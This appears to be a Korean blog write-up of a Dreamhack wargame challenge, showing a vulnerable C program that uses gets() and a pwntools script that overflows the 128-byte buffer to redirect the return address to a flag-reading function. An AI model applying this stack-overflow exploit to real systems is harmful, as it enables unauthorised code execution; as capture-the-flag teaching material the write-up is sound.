풀이
이 문제와
비슷한 문제이기 때문에
자세한 설명 생략
https://gayunkim-1.tistory.com/35
basic_exploitation_000
풀이 검색을 해보니 메모리 보호 기법에 관한 내용인데 아무런 보호 기법도 적용되고 있지 않다는 사실을 알 수 있다. 이 사실을 바탕으로 소스 코드를 분석해 보자 main 함수 내부를 보면 buf의
gayunkim-1.tistory.com
소스 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
main 함수 내부를 보면
gets 함수를 통해
입력을 받는다.
gets 함수는
입력 값의 길이를
제한하지 않기 때문에
버퍼 오버플로우 취약점이 발생한다.
main 함수의 반환 주소를
read_flag 함수의 주소로 덮으면
플래그를 출력한다.
버퍼의 크기는 0x80(128 바이트)이고
buf + SPF (4바이트) + ret의 구조이므로
132 바이트를 쓰레기 값으로 채운 후
read_flag 함수의 주소를 넣어주면
main 함수 종료 후
자동으로 read_flag 함수가 실행된다.
gdb를 이용해
read_flag 함수 주소 확인
페이로드
from pwn import *
r = remote("host2.dreamhack.games", 22188)
read_flag_addr = 0x80485b9
payload = b"\x80"*132
payload += p32(read_flag_addr)
r.send(payload)
r.interactive()
실행
'Wargame - 시스템' 카테고리의 다른 글
basic_rop_x64 (0) | 2023.05.24 |
---|---|
ssp_001 (0) | 2023.05.06 |
Return to Shellcode (0) | 2023.05.03 |
basic_exploitation_000 (0) | 2023.03.31 |
shell_basic (0) | 2023.03.23 |